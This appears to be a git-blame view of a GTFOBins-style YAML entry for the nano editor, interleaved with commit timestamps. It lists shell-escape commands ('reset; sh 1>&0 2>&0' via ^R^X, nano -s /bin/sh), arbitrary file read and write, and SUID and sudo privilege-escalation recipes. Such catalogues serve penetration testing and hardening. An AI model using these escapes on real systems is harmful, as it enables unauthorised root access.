2018-05-29 19:23:33 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-10-05 19:55:38 +02:00
|
|
|
shell:
|
2019-02-15 21:10:32 +01:00
|
|
|
- code: |
|
|
|
|
nano
|
|
|
|
^R^X
|
|
|
|
reset; sh 1>&0 2>&0
|
2019-01-21 14:07:14 +01:00
|
|
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
|
|
|
code: |
|
2019-03-31 13:44:50 +02:00
|
|
|
nano -s /bin/sh
|
|
|
|
/bin/sh
|
2018-07-16 15:01:50 +02:00
|
|
|
^T
|
2018-05-29 19:23:33 +02:00
|
|
|
file-write:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
nano file_to_write
|
2018-08-20 14:35:43 +02:00
|
|
|
DATA
|
2018-07-16 15:01:50 +02:00
|
|
|
^O
|
2018-07-04 20:26:52 +02:00
|
|
|
file-read:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: nano file_to_read
|
2018-10-05 19:55:38 +02:00
|
|
|
suid:
|
2019-01-21 14:07:14 +01:00
|
|
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
|
|
|
code: |
|
2019-04-16 19:11:31 +02:00
|
|
|
./nano
|
|
|
|
^R^X
|
|
|
|
reset; sh 1>&0 2>&0
|
2018-10-05 19:55:38 +02:00
|
|
|
sudo:
|
2019-02-15 21:10:32 +01:00
|
|
|
- code: |
|
|
|
|
sudo nano
|
|
|
|
^R^X
|
|
|
|
reset; sh 1>&0 2>&0
|
2018-05-29 19:23:33 +02:00
|
|
|
---
|